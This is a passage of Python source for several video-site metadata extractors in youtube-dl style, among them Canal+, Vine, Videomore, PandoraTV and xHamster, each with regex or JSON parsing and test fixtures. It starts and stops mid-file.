            raise ExtractorError('%s said: %s' % (self.IE_NAME, message), expected=True)

        formats = []
        for format_id, video_url in sources.items():
            if not video_url:
                continue
            height = int_or_none(self._search_regex(
                r'^(\d+)[pP]', format_id, 'height', default=None))
            formats.append({
                'url': video_url,
                'format_id': format_id,
                'height': height,
            })
        self._sort_formats(formats)

        description = self._html_search_regex(
            r'<(div|p)[^>]+class="description"[^>]*>(?P<value>[^<]+)</\1',
            webpage, 'description', fatal=False, group='value')
        view_count = int_or_none(self._html_search_regex(
            r'(\d+) views\s*<', webpage, 'view count', fatal=False))
        thumbnail = self._search_regex(
            r"'poster'\s*:\s*'([^']+)'", webpage, 'thumbnail', fatal=False)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'view_count': view_count,
            'formats': formats,
            'age_limit': 18,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    js_to_json,
    mimetype2ext,
)


class MusicPlayOnIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.+?\.)?musicplayon\.com/play(?:-touch)?\?(?:v|pl=\d+&play)=(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://en.musicplayon.com/play?v=433377',
        'md5': '00cdcdea1726abdf500d1e7fd6dd59bb',
        'info_dict': {
            'id': '433377',
            'ext': 'mp4',
            'title': 'Rick Ross - Interview On Chelsea Lately (2014)',
            'description': 'Rick Ross Interview On Chelsea Lately',
            'duration': 342,
            'uploader': 'ultrafish',
        },
    }, {
        'url': 'http://en.musicplayon.com/play?pl=102&play=442629',
        'only_matching': True,
    }]

    _URL_TEMPLATE = 'http://en.musicplayon.com/play?v=%s'

    def _real_extract(self, url):
        video_id = self._match_id(url)
        url = self._URL_TEMPLATE % video_id

        page = self._download_webpage(url, video_id)

        title = self._og_search_title(page)
        description = self._og_search_description(page)
        thumbnail = self._og_search_thumbnail(page)
        duration = self._html_search_meta('video:duration', page, 'duration', fatal=False)
        view_count = self._og_search_property('count', page, fatal=False)
        uploader = self._html_search_regex(
            r'<div>by&nbsp;<a href="[^"]+" class="purple">([^<]+)</a></div>', page, 'uploader', fatal=False)

        sources = self._parse_json(
            self._search_regex(r'setup\[\'_sources\'\]\s*=\s*([^;]+);', page, 'video sources'),
            video_id, transform_source=js_to_json)
        formats = [{
            'url': compat_urlparse.urljoin(url, source['src']),
            'ext': mimetype2ext(source.get('type')),
            'format_note': source.get('data-res'),
        } for source in sources]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'uploader': uploader,
            'duration': int_or_none(duration),
            'view_count': int_or_none(view_count),
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    float_or_none,
    parse_duration,
    str_to_int,
)


class PandoraTVIE(InfoExtractor):
    IE_NAME = 'pandora.tv'
    IE_DESC = '판도라TV'
    _VALID_URL = r'https?://(?:.+?\.)?channel\.pandora\.tv/channel/video\.ptv\?'
    _TEST = {
        'url': 'http://jp.channel.pandora.tv/channel/video.ptv?c1=&prgid=53294230&ch_userid=mikakim&ref=main&lot=cate_01_2',
        'info_dict': {
            'id': '53294230',
            'ext': 'flv',
            'title': '頭を撫でてくれる？',
            'description': '頭を撫でてくれる？',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 39,
            'upload_date': '20151218',
            'uploader': 'カワイイ動物まとめ',
            'uploader_id': 'mikakim',
            'view_count': int,
            'like_count': int,
        }
    }

    def _real_extract(self, url):
        qs = compat_urlparse.parse_qs(compat_urlparse.urlparse(url).query)
        video_id = qs.get('prgid', [None])[0]
        user_id = qs.get('ch_userid', [None])[0]
        if any(not f for f in (video_id, user_id,)):
            raise ExtractorError('Invalid URL', expected=True)

        data = self._download_json(
            'http://m.pandora.tv/?c=view&m=viewJsonApi&ch_userid=%s&prgid=%s'
            % (user_id, video_id), video_id)

        info = data['data']['rows']['vod_play_info']['result']

        formats = []
        for format_id, format_url in info.items():
            if not format_url:
                continue
            height = self._search_regex(
                r'^v(\d+)[Uu]rl$', format_id, 'height', default=None)
            if not height:
                continue
            formats.append({
                'format_id': '%sp' % height,
                'url': format_url,
                'height': int(height),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': info['subject'],
            'description': info.get('body'),
            'thumbnail': info.get('thumbnail') or info.get('poster'),
            'duration': float_or_none(info.get('runtime'), 1000) or parse_duration(info.get('time')),
            'upload_date': info['fid'][:8] if isinstance(info.get('fid'), compat_str) else None,
            'uploader': info.get('nickname'),
            'uploader_id': info.get('upload_userid'),
            'view_count': str_to_int(info.get('hit')),
            'like_count': str_to_int(info.get('likecnt')),
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urllib_parse_urlparse
from ..utils import (
    ExtractorError,
    HEADRequest,
    unified_strdate,
    qualities,
    int_or_none,
)


class CanalplusIE(InfoExtractor):
    IE_DESC = 'canalplus.fr, piwiplus.fr and d8.tv'
    _VALID_URL = r'''(?x)
                        https?://
                            (?:
                                (?:
                                    (?:(?:www|m)\.)?canalplus\.fr|
                                    (?:www\.)?piwiplus\.fr|
                                    (?:www\.)?d8\.tv|
                                    (?:www\.)?d17\.tv|
                                    (?:www\.)?itele\.fr
                                )/(?:(?:[^/]+/)*(?P<display_id>[^/?#&]+))?(?:\?.*\bvid=(?P<vid>\d+))?|
                                player\.canalplus\.fr/#/(?P<id>\d+)
                            )

                    '''
    _VIDEO_INFO_TEMPLATE = 'http://service.canal-plus.com/video/rest/getVideosLiees/%s/%s?format=json'
    _SITE_ID_MAP = {
        'canalplus': 'cplus',
        'piwiplus': 'teletoon',
        'd8': 'd8',
        'd17': 'd17',
        'itele': 'itele',
    }

    _TESTS = [{
        'url': 'http://www.canalplus.fr/c-emissions/pid1830-c-zapping.html?vid=1192814',
        'md5': '41f438a4904f7664b91b4ed0dec969dc',
        'info_dict': {
            'id': '1192814',
            'ext': 'mp4',
            'title': "L'Année du Zapping 2014 - L'Année du Zapping 2014",
            'description': "Toute l'année 2014 dans un Zapping exceptionnel !",
            'upload_date': '20150105',
        },
    }, {
        'url': 'http://www.piwiplus.fr/videos-piwi/pid1405-le-labyrinthe-boing-super-ranger.html?vid=1108190',
        'info_dict': {
            'id': '1108190',
            'ext': 'flv',
            'title': 'Le labyrinthe - Boing super ranger',
            'description': 'md5:4cea7a37153be42c1ba2c1d3064376ff',
            'upload_date': '20140724',
        },
        'skip': 'Only works from France',
    }, {
        'url': 'http://www.d8.tv/d8-docs-mags/pid5198-d8-en-quete-d-actualite.html?vid=1390231',
        'info_dict': {
            'id': '1390231',
            'ext': 'mp4',
            'title': "Vacances pas chères : prix discount ou grosses dépenses ? - En quête d'actualité",
            'description': 'md5:edb6cf1cb4a1e807b5dd089e1ac8bfc6',
            'upload_date': '20160512',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://www.itele.fr/chroniques/invite-bruce-toussaint/thierry-solere-nicolas-sarkozy-officialisera-sa-candidature-a-la-primaire-quand-il-le-voudra-167224',
        'info_dict': {
            'id': '1398334',
            'ext': 'mp4',
            'title': "L'invité de Bruce Toussaint du 07/06/2016 - ",
            'description': 'md5:40ac7c9ad0feaeb6f605bad986f61324',
            'upload_date': '20160607',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://m.canalplus.fr/?vid=1398231',
        'only_matching': True,
    }, {
        'url': 'http://www.d17.tv/emissions/pid8303-lolywood.html?vid=1397061',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.groupdict().get('id') or mobj.groupdict().get('vid')

        site_id = self._SITE_ID_MAP[compat_urllib_parse_urlparse(url).netloc.rsplit('.', 2)[-2]]

        # Beware, some subclasses do not define an id group
        display_id = mobj.group('display_id') or video_id

        if video_id is None:
            webpage = self._download_webpage(url, display_id)
            video_id = self._search_regex(
                [r'<canal:player[^>]+?videoId=(["\'])(?P<id>\d+)', r'id=["\']canal_video_player(?P<id>\d+)'],
                webpage, 'video id', group='id')

        info_url = self._VIDEO_INFO_TEMPLATE % (site_id, video_id)
        video_data = self._download_json(info_url, video_id, 'Downloading video JSON')

        if isinstance(video_data, list):
            video_data = [video for video in video_data if video.get('ID') == video_id][0]
        media = video_data['MEDIA']
        infos = video_data['INFOS']

        preference = qualities(['MOBILE', 'BAS_DEBIT', 'HAUT_DEBIT', 'HD'])

        fmt_url = next(iter(media.get('VIDEOS')))
        if '/geo' in fmt_url.lower():
            response = self._request_webpage(
                HEADRequest(fmt_url), video_id,
                'Checking if the video is georestricted')
            if '/blocage' in response.geturl():
                raise ExtractorError(
                    'The video is not available in your country',
                    expected=True)

        formats = []
        for format_id, format_url in media['VIDEOS'].items():
            if not format_url:
                continue
            if format_id == 'HLS':
                formats.extend(self._extract_m3u8_formats(
                    format_url, video_id, 'mp4', 'm3u8_native', m3u8_id=format_id, fatal=False))
            elif format_id == 'HDS':
                formats.extend(self._extract_f4m_formats(
                    format_url + '?hdcore=2.11.3', video_id, f4m_id=format_id, fatal=False))
            else:
                formats.append({
                    # the secret extracted ya function in http://player.canalplus.fr/common/js/canalPlayer.js
                    'url': format_url + '?secret=pqzerjlsmdkjfoiuerhsdlfknaes',
                    'format_id': format_id,
                    'preference': preference(format_id),
                })
        self._sort_formats(formats)

        thumbnails = [{
            'id': image_id,
            'url': image_url,
        } for image_id, image_url in media.get('images', {}).items()]

        titrage = infos['TITRAGE']

        return {
            'id': video_id,
            'display_id': display_id,
            'title': '%s - %s' % (titrage['TITRE'],
                                  titrage['SOUS_TITRE']),
            'upload_date': unified_strdate(infos.get('PUBLICATION', {}).get('DATE')),
            'thumbnails': thumbnails,
            'description': infos.get('DESCRIPTION'),
            'duration': int_or_none(infos.get('DURATION')),
            'view_count': int_or_none(infos.get('NB_VUES')),
            'like_count': int_or_none(infos.get('NB_LIKES')),
            'comment_count': int_or_none(infos.get('NB_COMMENTS')),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    qualities,
    int_or_none,
    mimetype2ext,
    determine_ext,
)


class SixPlayIE(InfoExtractor):
    _VALID_URL = r'(?:6play:|https?://(?:www\.)?6play\.fr/.+?-c_)(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.6play.fr/jamel-et-ses-amis-au-marrakech-du-rire-p_1316/jamel-et-ses-amis-au-marrakech-du-rire-2015-c_11495320',
        'md5': '42310bffe4ba3982db112b9cd3467328',
        'info_dict': {
            'id': '11495320',
            'ext': 'mp4',
            'title': 'Jamel et ses amis au Marrakech du rire 2015',
            'description': 'md5:ba2149d5c321d5201b78070ee839d872',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        clip_data = self._download_json(
            'https://player.m6web.fr/v2/video/config/6play-auth/FR/%s.json' % video_id,
            video_id)
        video_data = clip_data['videoInfo']

        quality_key = qualities(['lq', 'sd', 'hq', 'hd'])
        formats = []
        for source in clip_data['sources']:
            source_type, source_url = source.get('type'), source.get('src')
            if not source_url or source_type == 'hls/primetime':
                continue
            ext = mimetype2ext(source_type) or determine_ext(source_url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    source_url, video_id, 'mp4', 'm3u8_native',
                    m3u8_id='hls', fatal=False))
                formats.extend(self._extract_f4m_formats(
                    source_url.replace('.m3u8', '.f4m'),
                    video_id, f4m_id='hds', fatal=False))
            elif ext == 'mp4':
                quality = source.get('quality')
                formats.append({
                    'url': source_url,
                    'format_id': quality,
                    'quality': quality_key(quality),
                    'ext': ext,
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': video_data['title'].strip(),
            'description': video_data.get('description'),
            'duration': int_or_none(video_data.get('duration')),
            'series': video_data.get('titlePgm'),
            'formats': formats,
        }






from __future__ import unicode_literals

from .cbs import CBSBaseIE


class CBSSportsIE(CBSBaseIE):
    _VALID_URL = r'https?://www\.cbssports\.com/video/player/[^/]+/(?P<id>\d+)'

    _TESTS = [{
        'url': 'http://www.cbssports.com/video/player/videos/708337219968/0/ben-simmons-the-next-lebron?-not-so-fast',
        'info_dict': {
            'id': '708337219968',
            'ext': 'mp4',
            'title': 'Ben Simmons the next LeBron? Not so fast',
            'description': 'md5:854294f627921baba1f4b9a990d87197',
            'timestamp': 1466293740,
            'upload_date': '20160618',
            'uploader': 'CBSI-NEW',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }]

    def _extract_video_info(self, filter_query, video_id):
        return self._extract_feed_info('dJ5BDC', 'VxxJg8Ymh8sE', filter_query, video_id)

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return self._extract_video_info('byId=%s' % video_id, video_id)






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_str


class DctpTvIE(InfoExtractor):
    _VALID_URL = r'https?://www.dctp.tv/(#/)?filme/(?P<id>.+?)/$'
    _TEST = {
        'url': 'http://www.dctp.tv/filme/videoinstallation-fuer-eine-kaufhausfassade/',
        'info_dict': {
            'id': '1324',
            'display_id': 'videoinstallation-fuer-eine-kaufhausfassade',
            'ext': 'flv',
            'title': 'Videoinstallation für eine Kaufhausfassade'
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        base_url = 'http://dctp-ivms2-restapi.s3.amazonaws.com/'
        version_json = self._download_json(
            base_url + 'version.json',
            video_id, note='Determining file version')
        version = version_json['version_name']
        info_json = self._download_json(
            '{0}{1}/restapi/slugs/{2}.json'.format(base_url, version, video_id),
            video_id, note='Fetching object ID')
        object_id = compat_str(info_json['object_id'])
        meta_json = self._download_json(
            '{0}{1}/restapi/media/{2}.json'.format(base_url, version, object_id),
            video_id, note='Downloading metadata')
        uuid = meta_json['uuid']
        title = meta_json['title']
        wide = meta_json['is_wide']
        if wide:
            ratio = '16x9'
        else:
            ratio = '4x3'
        play_path = 'mp4:{0}_dctp_0500_{1}.m4v'.format(uuid, ratio)

        servers_json = self._download_json(
            'http://www.dctp.tv/streaming_servers/',
            video_id, note='Downloading server list')
        url = servers_json[0]['endpoint']

        return {
            'id': object_id,
            'title': title,
            'format': 'rtmp',
            'url': url,
            'play_path': play_path,
            'rtmp_real_time': True,
            'ext': 'flv',
            'display_id': video_id
        }






# coding: utf-8
from __future__ import unicode_literals

import os.path
import re

from .common import InfoExtractor


class SaveFromIE(InfoExtractor):
    IE_NAME = 'savefrom.net'
    _VALID_URL = r'https?://[^.]+\.savefrom\.net/\#url=(?P<url>.*)$'

    _TEST = {
        'url': 'http://en.savefrom.net/#url=http://youtube.com/watch?v=UlVRAPW2WJY&utm_source=youtube.com&utm_medium=short_domains&utm_campaign=ssyoutube.com',
        'info_dict': {
            'id': 'UlVRAPW2WJY',
            'ext': 'mp4',
            'title': 'About Team Radical MMA | MMA Fighting',
            'upload_date': '20120816',
            'uploader': 'Howcast',
            'uploader_id': 'Howcast',
            'description': 're:(?s).* Hi, my name is Rene Dreifuss\. And I\'m here to show you some MMA.*',
        },
        'params': {
            'skip_download': True
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = os.path.splitext(url.split('/')[-1])[0]
        return {
            '_type': 'url',
            'id': video_id,
            'url': mobj.group('url'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re
import itertools

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
)


class VineIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?vine\.co/(?:v|oembed)/(?P<id>\w+)'
    _TESTS = [{
        'url': 'https://vine.co/v/b9KOOWX7HUx',
        'md5': '2f36fed6235b16da96ce9b4dc890940d',
        'info_dict': {
            'id': 'b9KOOWX7HUx',
            'ext': 'mp4',
            'title': 'Chicken.',
            'alt_title': 'Vine by Jack Dorsey',
            'upload_date': '20130519',
            'uploader': 'Jack Dorsey',
            'uploader_id': '76',
            'view_count': int,
            'like_count': int,
            'comment_count': int,
            'repost_count': int,
        },
    }, {
        'url': 'https://vine.co/v/MYxVapFvz2z',
        'md5': '7b9a7cbc76734424ff942eb52c8f1065',
        'info_dict': {
            'id': 'MYxVapFvz2z',
            'ext': 'mp4',
            'title': 'Fuck Da Police #Mikebrown #justice #ferguson #prayforferguson #protesting #NMOS14',
            'alt_title': 'Vine by Mars Ruiz',
            'upload_date': '20140815',
            'uploader': 'Mars Ruiz',
            'uploader_id': '1102363502380728320',
            'view_count': int,
            'like_count': int,
            'comment_count': int,
            'repost_count': int,
        },
    }, {
        'url': 'https://vine.co/v/bxVjBbZlPUH',
        'md5': 'ea27decea3fa670625aac92771a96b73',
        'info_dict': {
            'id': 'bxVjBbZlPUH',
            'ext': 'mp4',
            'title': '#mw3 #ac130 #killcam #angelofdeath',
            'alt_title': 'Vine by Z3k3',
            'upload_date': '20130430',
            'uploader': 'Z3k3',
            'uploader_id': '936470460173008896',
            'view_count': int,
            'like_count': int,
            'comment_count': int,
            'repost_count': int,
        },
    }, {
        'url': 'https://vine.co/oembed/MYxVapFvz2z.json',
        'only_matching': True,
    }, {
        'url': 'https://vine.co/v/e192BnZnZ9V',
        'info_dict': {
            'id': 'e192BnZnZ9V',
            'ext': 'mp4',
            'title': 'ยิ้ม~ เขิน~ อาย~ น่าร้ากอ้ะ >//< @n_whitewo @orlameena #lovesicktheseries  #lovesickseason2',
            'alt_title': 'Vine by Pimry_zaa',
            'upload_date': '20150705',
            'uploader': 'Pimry_zaa',
            'uploader_id': '1135760698325307392',
            'view_count': int,
            'like_count': int,
            'comment_count': int,
            'repost_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage('https://vine.co/v/' + video_id, video_id)

        data = self._parse_json(
            self._search_regex(
                r'window\.POST_DATA\s*=\s*({.+?});\s*</script>',
                webpage, 'vine data'),
            video_id)

        data = data[list(data.keys())[0]]

        formats = [{
            'format_id': '%(format)s-%(rate)s' % f,
            'vcodec': f.get('format'),
            'quality': f.get('rate'),
            'url': f['videoUrl'],
        } for f in data['videoUrls'] if f.get('videoUrl')]

        self._sort_formats(formats)

        username = data.get('username')

        return {
            'id': video_id,
            'title': data.get('description') or self._og_search_title(webpage),
            'alt_title': 'Vine by %s' % username if username else self._og_search_description(webpage, default=None),
            'thumbnail': data.get('thumbnailUrl'),
            'upload_date': unified_strdate(data.get('created')),
            'uploader': username,
            'uploader_id': data.get('userIdStr'),
            'view_count': int_or_none(data.get('loops', {}).get('count')),
            'like_count': int_or_none(data.get('likes', {}).get('count')),
            'comment_count': int_or_none(data.get('comments', {}).get('count')),
            'repost_count': int_or_none(data.get('reposts', {}).get('count')),
            'formats': formats,
        }


class VineUserIE(InfoExtractor):
    IE_NAME = 'vine:user'
    _VALID_URL = r'(?:https?://)?vine\.co/(?P<u>u/)?(?P<user>[^/]+)/?(\?.*)?$'
    _VINE_BASE_URL = 'https://vine.co/'
    _TESTS = [
        {
            'url': 'https://vine.co/Visa',
            'info_dict': {
                'id': 'Visa',
            },
            'playlist_mincount': 46,
        },
        {
            'url': 'https://vine.co/u/941705360593584128',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        user = mobj.group('user')
        u = mobj.group('u')

        profile_url = '%sapi/users/profiles/%s%s' % (
            self._VINE_BASE_URL, 'vanity/' if not u else '', user)
        profile_data = self._download_json(
            profile_url, user, note='Downloading user profile data')

        user_id = profile_data['data']['userId']
        timeline_data = []
        for pagenum in itertools.count(1):
            timeline_url = '%sapi/timelines/users/%s?page=%s&size=100' % (
                self._VINE_BASE_URL, user_id, pagenum)
            timeline_page = self._download_json(
                timeline_url, user, note='Downloading page %d' % pagenum)
            timeline_data.extend(timeline_page['data']['records'])
            if timeline_page['data']['nextPage'] is None:
                break

        entries = [
            self.url_result(e['permalinkUrl'], 'Vine') for e in timeline_data]
        return self.playlist_result(entries, user)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_age_limit,
    parse_iso8601,
    xpath_text,
)


class VideomoreIE(InfoExtractor):
    IE_NAME = 'videomore'
    _VALID_URL = r'videomore:(?P<sid>\d+)$|https?://videomore\.ru/(?:(?:embed|[^/]+/[^/]+)/|[^/]+\?.*\btrack_id=)(?P<id>\d+)(?:[/?#&]|\.(?:xml|json)|$)'
    _TESTS = [{
        'url': 'http://videomore.ru/kino_v_detalayah/5_sezon/367617',
        'md5': '70875fbf57a1cd004709920381587185',
        'info_dict': {
            'id': '367617',
            'ext': 'flv',
            'title': 'В гостях Алексей Чумаков и Юлия Ковальчук',
            'description': 'В гостях – лучшие романтические комедии года, «Выживший» Иньярриту и «Стив Джобс» Дэнни Бойла.',
            'series': 'Кино в деталях',
            'episode': 'В гостях Алексей Чумаков и Юлия Ковальчук',
            'episode_number': None,
            'season': 'Сезон 2015',
            'season_number': 5,
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 2910,
            'age_limit': 16,
            'view_count': int,
        },
    }, {
        'url': 'http://videomore.ru/embed/259974',
        'info_dict': {
            'id': '259974',
            'ext': 'flv',
            'title': '80 серия',
            'description': '«Медведей» ждет решающий матч. Макеев выясняет отношения со Стрельцовым. Парни узнают подробности прошлого Макеева.',
            'series': 'Молодежка',
            'episode': '80 серия',
            'episode_number': 40,
            'season': '2 сезон',
            'season_number': 2,
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 2809,
            'age_limit': 16,
            'view_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://videomore.ru/molodezhka/sezon_promo/341073',
        'info_dict': {
            'id': '341073',
            'ext': 'flv',
            'title': 'Команда проиграла из-за Бакина?',
            'description': 'Молодежка 3 сезон скоро',
            'series': 'Молодежка',
            'episode': 'Команда проиграла из-за Бакина?',
            'episode_number': None,
            'season': 'Промо',
            'season_number': 99,
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 29,
            'age_limit': 16,
            'view_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'http://videomore.ru/elki_3?track_id=364623',
        'only_matching': True,
    }, {
        'url': 'http://videomore.ru/embed/364623',
        'only_matching': True,
    }, {
        'url': 'http://videomore.ru/video/tracks/364623.xml',
        'only_matching': True,
    }, {
        'url': 'http://videomore.ru/video/tracks/364623.json',
        'only_matching': True,
    }, {
        'url': 'http://videomore.ru/video/tracks/158031/quotes/33248',
        'only_matching': True,
    }, {
        'url': 'videomore:367617',
        'only_matching': True,
    }]

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<object[^>]+data=(["\'])https?://videomore.ru/player\.swf\?.*config=(?P<url>https?://videomore\.ru/(?:[^/]+/)+\d+\.xml).*\1',
            webpage)
        if mobj:
            return mobj.group('url')

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('sid') or mobj.group('id')

        video = self._download_xml(
            'http://videomore.ru/video/tracks/%s.xml' % video_id,
            video_id, 'Downloading video XML')

        video_url = xpath_text(video, './/video_url', 'video url', fatal=True)
        formats = self._extract_f4m_formats(video_url, video_id, f4m_id='hds')
        self._sort_formats(formats)

        data = self._download_json(
            'http://videomore.ru/video/tracks/%s.json' % video_id,
            video_id, 'Downloading video JSON')

        title = data.get('title') or data['project_title']
        description = data.get('description') or data.get('description_raw')
        timestamp = parse_iso8601(data.get('published_at'))
        duration = int_or_none(data.get('duration'))
        view_count = int_or_none(data.get('views'))
        age_limit = parse_age_limit(data.get('min_age'))
        thumbnails = [{
            'url': thumbnail,
        } for thumbnail in data.get('big_thumbnail_urls', [])]

        series = data.get('project_title')
        episode = data.get('title')
        episode_number = int_or_none(data.get('episode_of_season') or None)
        season = data.get('season_title')
        season_number = int_or_none(data.get('season_pos') or None)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'series': series,
            'episode': episode,
            'episode_number': episode_number,
            'season': season,
            'season_number': season_number,
            'thumbnails': thumbnails,
            'timestamp': timestamp,
            'duration': duration,
            'view_count': view_count,
            'age_limit': age_limit,
            'formats': formats,
        }


class VideomoreVideoIE(InfoExtractor):
    IE_NAME = 'videomore:video'
    _VALID_URL = r'https?://videomore\.ru/(?:(?:[^/]+/){2})?(?P<id>[^/?#&]+)[/?#&]*$'
    _TESTS = [{
        # single video with og:video:iframe
        'url': 'http://videomore.ru/elki_3',
        'info_dict': {
            'id': '364623',
            'ext': 'flv',
            'title': 'Ёлки 3',
            'description': '',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 5579,
            'age_limit': 6,
            'view_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # season single series with og:video:iframe
        'url': 'http://videomore.ru/poslednii_ment/1_sezon/14_seriya',
        'only_matching': True,
    }, {
        'url': 'http://videomore.ru/sejchas_v_seti/serii_221-240/226_vypusk',
        'only_matching': True,
    }, {
        # single video without og:video:iframe
        'url': 'http://videomore.ru/marin_i_ego_druzya',
        'info_dict': {
            'id': '359073',
            'ext': 'flv',
            'title': '1 серия. Здравствуй, Аквавилль!',
            'description': 'md5:c6003179538b5d353e7bcd5b1372b2d7',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 754,
            'age_limit': 6,
            'view_count': int,
        },
        'params': {
            'skip_download': True,
        },
    }]

    @classmethod
    def suitable(cls, url):
        return False if VideomoreIE.suitable(url) else super(VideomoreVideoIE, cls).suitable(url)

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_url = self._og_search_property(
            'video:iframe', webpage, 'video url', default=None)

        if not video_url:
            video_id = self._search_regex(
                (r'config\s*:\s*["\']https?://videomore\.ru/video/tracks/(\d+)\.xml',
                 r'track-id=["\'](\d+)',
                 r'xcnt_product_id\s*=\s*(\d+)'), webpage, 'video id')
            video_url = 'videomore:%s' % video_id

        return self.url_result(video_url, VideomoreIE.ie_key())


class VideomoreSeasonIE(InfoExtractor):
    IE_NAME = 'videomore:season'
    _VALID_URL = r'https?://videomore\.ru/(?!embed)(?P<id>[^/]+/[^/?#&]+)[/?#&]*$'
    _TESTS = [{
        'url': 'http://videomore.ru/molodezhka/sezon_promo',
        'info_dict': {
            'id': 'molodezhka/sezon_promo',
            'title': 'Молодежка Промо',
        },
        'playlist_mincount': 12,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        title = self._og_search_title(webpage)

        entries = [
            self.url_result(item) for item in re.findall(
                r'<a[^>]+href="((?:https?:)?//videomore\.ru/%s/[^/]+)"[^>]+class="widget-item-desc"'
                % display_id, webpage)]

        return self.playlist_result(entries, display_id, title)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    dict_get,
    float_or_none,
    int_or_none,
    unified_strdate,
)


class XHamsterIE(InfoExtractor):
    _VALID_URL = r'(?P<proto>https?)://(?:.+?\.)?xhamster\.com/movies/(?P<id>[0-9]+)/(?P<seo>.*?)\.html(?:\?.*)?'
    _TESTS = [{
        'url': 'http://xhamster.com/movies/1509445/femaleagent_shy_beauty_takes_the_bait.html',
        'md5': '8281348b8d3c53d39fffb377d24eac4e',
        'info_dict': {
            'id': '1509445',
            'ext': 'mp4',
            'title': 'FemaleAgent Shy beauty takes the bait',
            'upload_date': '20121014',
            'uploader': 'Ruseful2011',
            'duration': 893.52,
            'age_limit': 18,
        },
    }, {
        'url': 'http://xhamster.com/movies/2221348/britney_spears_sexy_booty.html?hd',
        'info_dict': {
            'id': '2221348',
            'ext': 'mp4',
            'title': 'Britney Spears  Sexy Booty',
            'upload_date': '20130914',
            'uploader': 'jojo747400',
            'duration': 200.48,
            'age_limit': 18,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        # empty seo
        'url': 'http://xhamster.com/movies/5667973/.html',
        'info_dict': {
            'id': '5667973',
            'ext': 'mp4',
            'title': '....',
            'upload_date': '20160208',
            'uploader': 'parejafree',
            'duration': 72.0,
            'age_limit': 18,
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'https://xhamster.com/movies/2272726/amber_slayed_by_the_knight.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        def extract_video_url(webpage, name):
            return self._search_regex(
                [r'''file\s*:\s*(?P<q>["'])(?P<mp4>.+?)(?P=q)''',
                 r'''<a\s+href=(?P<q>["'])(?P<mp4>.+?)(?P=q)\s+class=["']mp4Thumb''',
                 r'''<video[^>]+file=(?P<q>["'])(?P<mp4>.+?)(?P=q)[^>]*>'''],
                webpage, name, group='mp4')

        def is_hd(webpage):
            return '<div class=\'icon iconHD\'' in webpage

        mobj = re.match(self._VALID_URL, url)

        video_id = mobj.group('id')
        seo = mobj.group('seo')
        proto = mobj.group('proto')
        mrss_url = '%s://xhamster.com/movies/%s/%s.html' % (proto, video_id, seo)
        webpage = self._download_webpage(mrss_url, video_id)

        title = self._html_search_regex(
            [r'<h1[^>]*>([^<]+)</h1>',
             r'<meta[^>]+itemprop=".*?caption.*?"[^>]+content="(.+?)"',
             r'<title[^>]*>(.+?)(?:,\s*[^,]*?\s*Porn\s*[^,]*?:\s*xHamster[^<]*| - xHamster\.com)</title>'],
            webpage, 'title')

        # Only a few videos have an description
        mobj = re.search(r'<span>Description: </span>([^<]+)', webpage)
        description = mobj.group(1) if mobj else None

        upload_date = unified_strdate(self._search_regex(
            r'hint=["\'](\d{4}-\d{2}-\d{2}) \d{2}:\d{2}:\d{2} [A-Z]{3,4}',
            webpage, 'upload date', fatal=False))

        uploader = self._html_search_regex(
